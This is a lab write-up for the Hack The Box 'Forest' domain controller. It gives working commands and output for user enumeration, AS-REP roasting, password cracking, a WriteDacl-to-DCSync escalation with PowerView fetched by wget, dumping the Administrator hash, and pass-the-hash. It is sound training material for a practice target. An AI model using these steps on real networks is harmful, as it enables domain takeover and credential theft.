Forest
Easy Windows Active Directory HTB Box

Reconnaissance
As always we start off by performing a port scan using Nmap
to enumerate open ports, versions and services
nmap -p- --open -Pn -n --min-rate 5000 -sS -sCV 10.10.10.161 -oN scan
Host is up (0.042s latency).
Not shown: 63944 closed tcp ports (reset), 1569 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-30 18:55:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49684/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2025-07-30T11:56:49-07:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-30T18:56:45
|_ start_date: 2025-07-30T18:54:31
|_clock-skew: mean: 2h26m49s, deviation: 4h02m32s, median: 6m47s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 30 19:50:08 2025 -- 1 IP address (1 host up) scanned in 80.07 seconds
As we can see we're probably facing a DC because of some ports that are open — TCP 80 (Kerberos)
| TCP 389,3268 (LDAP)
| TCP 5985 (WinRM)
...
We can also enumerate the Domain Name
which is htb.local
so we'll add it to our /etc/hosts
Let's start off by enumerating the DNS records using my own function script written in bash:
records () {
RED="\e[31m"
GREEN="\e[32m"
YELLOW="\e[33m"
BLUE="\e[34m"
CYAN="\e[36m"
BOLD="\e[1m"
RESET="\e[0m"
IP=$1
DOMAIN=$2
echo -e "${GREEN}${BOLD}\n[=========================== NS Record ===========================]${RESET}"
dig @$IP $DOMAIN NS
echo -e "${RED}${BOLD}\n[============================ MX Record ==========================]${RESET}"
dig @$IP $DOMAIN MX
echo -e "${CYAN}${BOLD}\n[=========================== TXT Record ==========================]${RESET}"
dig @$IP $DOMAIN TXT
echo -e "${BLUE}${BOLD}\n[========================= AXFR ATTEMPT ==========================]${RESET}"
dig @$IP $DOMAIN AXFR
}
We use the script but no useful information is shown so we'll move on to enumerating RCP
with rpcenum
using a null session in order to enumerate domain users
rpcclient -U "" 10.10.10.161 -N
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
------- SNIP --------
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Well add every user to an user.txt to try perform an AS-REP Roasting
attack!
AS-REP Roasting Attack
AS-REP Roasting targets Kerberos accounts with pre-authentication disabled.
Normally, users have to prove who they are before the domain gives them a ticket. But if pre-auth is off, the server sends back a Kerberos response encrypted with the user's hash — no password needed.
We can grab that response and crack it offline to get the user's password.
And you may ask, well how do I know when to do it?
We already found valid usernames. Now we’re checking if any of them are misconfigured and can give us the Kerberos hashes, so let's try to perform the attack using impacket-GetNPUsers
impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt -format john
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
---------- SNIP -----------
$krb5asrep$svc-alfresco@HTB.LOCAL:e782d83d906b7379d1c0596e8a5f4bf5$f3c537105ce470c52ed5df34ce0e7be41165f7a4c3577b94557853d9b26818b137bea629b0b9c9f740b8c9cef957e201cceab8bc235cd1c021a1d94cfd0d23c8011389502ee56801180bc895c0451a4e141f6d8dc39ff9095acfded48dea6ff086a21cb01ed25604ca72469bad3786311a18f6f75b9247d6764215fefa17d7e770623b43716f69ed1904948ffbfe2198a10a48fb533a732313f417796fd374c6163bfdfa1046f05755507ea2e16806ab8b2cc878fbc45fb398767cee6a84cd78e9a91806d8fbdf2e2d64a9ce7e84617844315511a4f61453b928d7cb6104ed5bcce9bd61dd67
---------- SNIP -----------
We successfully performed the AS-REP Roast attack and go the hash for the user svc-alfresco
so let's crack it using john as we typed the -format john
flag
john --wordlist=/usr/share/seclists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$svc-alfresco@HTB.LOCAL)
1g 0:00:00:01 DONE (2025-07-31 12:32) 0.7407g/s 3026Kp/s 3026Kc/s 3026KC/s s860299..s3r1bu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And we cracked the password!! — s3rvice
, let's check if we can login into the system using Evil-WinRM
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint Evil-WinRM PS C:\Users\svc-alfresco\Documents>
Enumeration using BloodHound
Let's open BloodHound
in order to enumerate possible ways to escalate ourselves to Administrator
First we upload SharpHound to the target victim via the evil-winrm
command upload
and then
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop\BH> .\SharpHound.exe -c All
2025-07-31T04:55:05.5764313-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-07-31T04:55:05.7326700-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-07-31T04:55:05.7639205-07:00|INFORMATION|Initializing SharpHound at 4:55 AM on 7/31/2025
2025-07-31T04:55:05.9357967-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for htb.local : FOREST.htb.local
2025-07-31T04:55:06.0607952-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-07-31T04:55:06.6857956-07:00|INFORMATION|Beginning LDAP search for htb.local
2025-07-31T04:55:06.8732946-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-07-31T04:55:06.8732946-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-07-31T04:55:36.8108853-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38 MB RAM
2025-07-31T04:55:52.9515225-07:00|INFORMATION|Consumers finished, closing output channel
2025-07-31T04:55:52.9827745-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-07-31T04:55:53.1078252-07:00|INFORMATION|Status: 162 objects finished (+162 3.521739)/s -- Using 47 MB RAM
2025-07-31T04:55:53.1078252-07:00|INFORMATION|Enumeration finished in 00:00:46.4301718
2025-07-31T04:55:53.1859106-07:00|INFORMATION|Saving cache with stats: 119 ID to type mappings.
119 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-07-31T04:55:53.2015259-07:00|INFORMATION|SharpHound Enumeration Completed at 4:55 AM on 7/31/2025! Happy Graphing!
Let's download this data to our attacker machine and upload it to BloodHound
via File Ingest

And then we can see the Graph in order to check possible Escalation paths to Domain Admin by clicking on Cypher -> Active Directory -> Shortest path to domain admin

WriteDacl Abuse on Domain Object
From the BloodHound graph, I see that svc-alfresco
is a member of several nested groups that eventually lead to EXCHANGE WINDOWS PERMISSIONS
. This group has WriteDacl
permissions on the domain object HTB.LOCAL
.
I choose this path because it's clean, doesn't require membership in high-privilege groups like Domain Admins or Account Operators, and avoids touching sensitive users directly. Instead, I modify the ACL of the domain itself.
1. Create a Domain User
We create a new user account that we’ll later escalate:
net user delorian delorian123 /add /domain
2. Add User to Privileged Group
To gain the necessary control, we add delorian
to the Exchange Windows Permissions
group:
net group "Exchange Windows Permissions" delorian /add
3. Prepare Credentials in PowerShell
We convert the password to a secure string and store it as a credential object:
$SecPassword = ConvertTo-SecureString 'delorian123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/delorian', $SecPassword)
4. Abuse WriteDACL with PowerView
We upload PowerView.ps1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
...
# On the victim machine via Evil-WinRM
upload PowerView.ps1
. ./PowerView.ps1
Then we execute the following command to give delorian
the required DCSync rights:
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity delorian -Rights DCSync
5. DCSync with Impacket
From our attacker machine, we perform a DCSync using Impacket’s secretsdump.py
:
impacket-secretsdump 'htb.local/delorian:delorian123@10.10.10.161'
...
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
6. Pass-the-Hash (Evil-WinRM)
Now we can use the extracted NT hash to authenticate as Administrator via Pass-the-Hash:
evil-winrm -i 10.10.10.161 -u Administrator -H "32693b11e6aa90eb43d32c72a07ceea6"
Hope you liked this Write-Up and found it useful
Thank you for reading!!
Last updated